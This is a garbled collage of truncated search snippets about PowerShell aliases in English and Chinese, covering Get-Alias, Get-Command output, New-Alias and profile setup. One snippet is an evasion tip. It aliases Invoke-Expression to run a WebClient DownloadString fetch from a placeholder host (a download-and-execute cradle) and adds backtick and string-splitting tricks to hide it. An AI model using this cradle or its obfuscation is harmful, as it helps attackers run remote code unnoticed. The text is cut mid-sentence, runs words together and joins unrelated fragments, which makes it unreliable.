For example, running the command Get-Alias di* returns aliases for both diff and dir.You can also use the Get-Alias cmdlet to discover new cmdlets. For example, you use the batch command del to delete a file or
If you createwordas the alias for Microsoft Office Word, you can type "word" instead of the following: PowerShell "C:\Program Files\Microsoft Office\Office11\Winword.exe" Built-in aliases PowerShell 包括一组内置别名,包括cdcmdlet 的chdir和Set-Location、Windows 上的ls和dir,以及适用于dircmdlet ...
Get-Command -Name dir CommandType Name ModuleName --- --- --- Alias dir -> Get-ChildItem雖然它通常用於 Cmdlet 和函式, Get-Command 但也會取得腳本、函式、別名和可執行檔。命令的輸出顯示別名之 Name 屬性值的特別檢視。 該檢視顯示別名和完整命令名稱。範例11:從別名取得語法此範例...
设置Alias,这里借助 Register-Completion,可以实现和 Bash 设置别名一样的体验,下面是一些示例: Register-AliaslllsRegister-AliaslalsRegister-AliasnpnotepadRegister-Aliasswd"echo $pwd"Register-Aliasapps"cd ~/Projects"Register-Aliasi"cd ~/Projects/$($args[0])"Register-AliaswhichGet-CommandRegister-Aliasip"...
Alias gci -> Get-ChildItem Alias gcm -> Get-Command Alias gcs -> Get-PSCallStack Alias gdr -> Get-PSDrive Alias ghy -> Get-History Alias gi -> Get-Item Alias gjb -> Get-Job Alias gl -> Get-Location Alias gm -> Get-Member ...
Get-Command Get-Date -All CommandType Name Version Source --- --- --- --- Function Get-Date Cmdlet Get-Date 3.1.0.0 Microsoft.PowerShell.Utility Get-Command where -all CommandType Name Version Source --- --- --- --- Alias where -> Where-Object Application where.exe 10.0.22621.1 C...
"targetCommand">The referenced command by the aliased command</param>///<returns>True if an alias and false if not</returns>privateboolTryGetAlias(stringcommand,outstringtargetCommand){// Create PowerShell runspace as a session state proxy to run GetCommand and check// if its an aliasAlias...
New-Alias np c:\windows\notepad.exe 创建别名完成后,在命令行中输入np就能直接打开记事本。在命令行中创建的别名只能在当前命令行窗口中使用,如果想以后也能使用此别名,可以把以上命令保存在PowerShell配置文件中,以后无论是在命令行中,还是使用脚本,都可以在本机使用np别名了。PowrShell配置文件位置可以使用$...
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a') 处理downloadstring 使用转义符 代码语言:javascript 代码运行次数:0 运行 AI代码解释 "Down`l`oadString" 处理http 以变量的方式拆分http 代码语言:javascript 代码运行次数:...
Export-Alias:將一或多個別名匯出至一個檔案 使用New-Alias為命令建立別名時,該命令的參數不能包含在該別名中。 不過,在 Alias 命名空間中直接將參數指派給變數是被允許的。 注意 不過,要創建一個函式,該函式除了包含具有所有所需參數的命令調用之外不做其他任何事情,並給這個函式指派一個別名,這其實很簡單。